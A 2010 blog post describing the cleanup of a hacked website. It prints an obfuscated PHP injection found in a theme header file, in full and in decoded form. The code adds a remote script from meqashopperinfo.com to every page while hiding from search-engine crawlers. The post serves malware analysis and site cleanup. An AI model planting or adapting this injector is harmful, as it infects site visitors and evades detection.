Trunk Media

Well it’s not so much a dairy but it is a break down of what was done. Recently received a call from help from a friend who’s website was not loading as their anti-virus was stopping it from loading. I went to the site and found the same thing. As I had ftp access I downloaded the entire site and then scanned it with my virus scanner and it was virus free.

Next, I opened what I thought would be the best place to start looking for an injection attack, the header include file in the current theme. I didn’t have to look far, the first line was this

<?php /**/ eval(base64_decode(“aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5dFpYRmhjMmh2Y0hCbGNtbHVabTh1WTI5dEwycHpMbkJvY0NJK1BDOXpZM0pwY0hRKyIpOyAgICAgIH0gICAgICByZXR1cm4gIiI7ICAgICB9ICAgIH0gICAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpeyAgICAgZnVuY3Rpb24gZ3pkZWNvZGUoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0Qyl7ICAgICAgJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RD1Ab3JkKEBzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywzLDEpKTsgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PTEwOyAgICAgICRSQTNENTJFNTJBNDg5MzZDREUwRjUzNTZCQjA4NjUyRjI9MDsgICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjQpeyAgICAgICAkUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCPUB1bnBhY2soJ3YnLHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLDEwLDIpKTsgICAgICAgJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQj0kUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCWzFdOyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5Kz0yKyRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmOCl7ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9QHN0cnBvcygkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLGNocigwKSwkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSsxOyAgICAgIH0gICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjE2KXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT1Ac3RycG9zKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsY2hyKDApLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKzE7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmMil7ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkrPTI7ICAgICAgfSAgICAgICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9QGd6aW5mbGF0ZShAc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkpOyAgICAgIGlmKCRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9PT1GQUxTRSl7ICAgICAgICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9JFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QzsgICAgICB9ICAgICAgcmV0dXJuICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM7ICAgICB9ICAgIH0gICAgZnVuY3Rpb24gbXJvYmgoJFJFODJFRTlCMTIxRjcwOTg5NUVGNTRFQkE3RkE2Qjc4Qil7ICAgICBIZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6IG5vbmUnKTsgICAgICRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREU9Z3pkZWNvZGUoJFJFODJFRTlCMTIxRjcwOTg5NUVGNTRFQkE3RkE2Qjc4Qik7ICAgICAgIGlmKHByZWdfbWF0Y2goJy9cPFwvYm9keS9zaScsJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERSkpeyAgICAgIHJldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxcL2JvZHlbXlw+XSpcPikvc2knLGdtbCgpLiJcbiIuJyQxJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKTsgICAgIH1lbHNleyAgICAgIHJldHVybiAkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFLmdtbCgpOyAgICAgfSAgICB9ICAgIG9iX3N0YXJ0KCdtcm9iaCcpOyAgIH0gIH0=”));?>

This is base64 encrypted code which is then evaluated. It’s supposed to make it hard to find via certain types of scanning as it is runtime evaluated from obfuscated code. If you decompile it you end up with this

if(function_exists(‘ob_start’)&&!isset($GLOBALS['mr_no'])){ $GLOBALS['mr_no']=1; if(!function_exists(‘mrobh’)){ if(!function_exists(‘gml’)){ function gml(){ if (!stristr($_SERVER["HTTP_USER_AGENT"],”googlebot”)&& (!stristr($_SERVER["HTTP_USER_AGENT"],”yahoo”))){ return base64_decode(“PHNjcmlwdCBzcmM9Imh0dHA6Ly9tZXFhc2hvcHBlcmluZm8uY29tL2pzLnBocCI+PC9zY3JpcHQ+”); } return “”; } } if(!function_exists(‘gzdecode’)){ function gzdecode($R5A9CF1B497502ACA23C8F611A564684C){ $R30B2AB8DC1496D06B230A71D8962AF5D=@ord(@substr($R5A9CF1B497502ACA23C8F611A564684C,3,1)); $RBE4C4D037E939226F65812885A53DAD9=10; $RA3D52E52A48936CDE0F5356BB08652F2=0; if($R30B2AB8DC1496D06B230A71D8962AF5D&4){ $R63BEDE6B19266D4EFEAD07A4D91E29EB=@unpack(‘v’,substr($R5A9CF1B497502ACA23C8F611A564684C,10,2)); $R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1]; $RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB; } if($R30B2AB8DC1496D06B230A71D8962AF5D&8){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&16){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&2){ $RBE4C4D037E939226F65812885A53DAD9+=2; } $R034AE2AB94F99CC81B389A1822DA3353=@gzinflate(@substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53DAD9)); if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){ $R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C; } return $R034AE2AB94F99CC81B389A1822DA3353; } } function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){ Header(‘Content-Encoding: none’); $RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B); if(preg_match(‘/\<\/body/si’,$RA179ABD3A7B9E28C369F7B59C51B81DE)){ return preg_replace(‘/(\<\/body[^\>]*\>)/si’,gml().”\n”.’$1′,$RA179ABD3A7B9E28C369F7B59C51B81DE); }else{ return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml(); } } ob_start(‘mrobh’); } }

This makes the code more obvious but still has a lot of the code encoded again. You can see it is doing a test to make sure it is not Google’s or Yahoo’s search bot. They both scan sites to ensure that they are virus free as they put warnings on virus infected sites to stop them from being loaded by unsuspecting browsers who are stupid enough to not be virus protected.

In looking for more information it seems that this is due to lax security measures at  123-reg.co.uk. I will be recommending a move away from this host to my friend.

Back to the code however, if you keep unobfuscating it you should end up with this:

if(function_exists(‘ob_start’)&&!isset($GLOBALS['mr_no'])){
$GLOBALS['mr_no']=1;
if(!function_exists(‘mrobh’)){
if(!function_exists(‘gml’)){
function gml(){
if (!stristr($_SERVER["HTTP_USER_AGENT"],”googlebot”)&& (!stristr($_SERVER["HTTP_USER_AGENT"],”yahoo”)))
{
return “<script src=”http://meqashopperinfo.com/js.php”></script>”;
}
return “”;
}
}
if(!function_exists(‘gzdecode’))
{
function gzdecode($michael){
$mary=@ord(@substr($michael,3,1));
$tom=10;
$john=0;
if($mary&4)
{
$william=@unpack(‘v’,substr($michael,10,2));
$william=$william[1];
$tom+=2+$william;
}
if($mary&8)
{
$tom=@strpos($michael,chr(0),$tom)+1;
}
if($mary&16){
$tom=@strpos($michael,chr(0),$tom)+1;
}
if($mary&2){
$tom+=2;
}
$peter=@gzinflate(@substr($michael,$tom));
if($peter===FALSE){
$peter=$michael;
}
return $peter;
}
}

function mrobh($bob){
Header(‘Content-Encoding: none’);
$donkey=gzdecode($bob);
if(preg_match(‘/\<\/body/si’,$donkey)){
return preg_replace(‘/(\<\/body[^\>]*\>)/si’,gml().”\n”.’$1′,$donkey);
}else{
return $donkey.gml();
}
}
ob_start(‘mrobh’);
}
}

In summary it ensures that each page on the site has a link to the meqashopperinfo.com javascript library which then takes care of the rest of the effort to infect your computer.

If you’re looking, this is the simplest way to clean this virus from your system.

Moral of the story? Always run anti-virus on your local machine and host your websites, no matter how unimportant you think they are, with a reputable web host even if they do cost an extra dollar a month.

This entry was posted on Wednesday, 3 November 2010 at 9:45 am and is filed under Technical. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.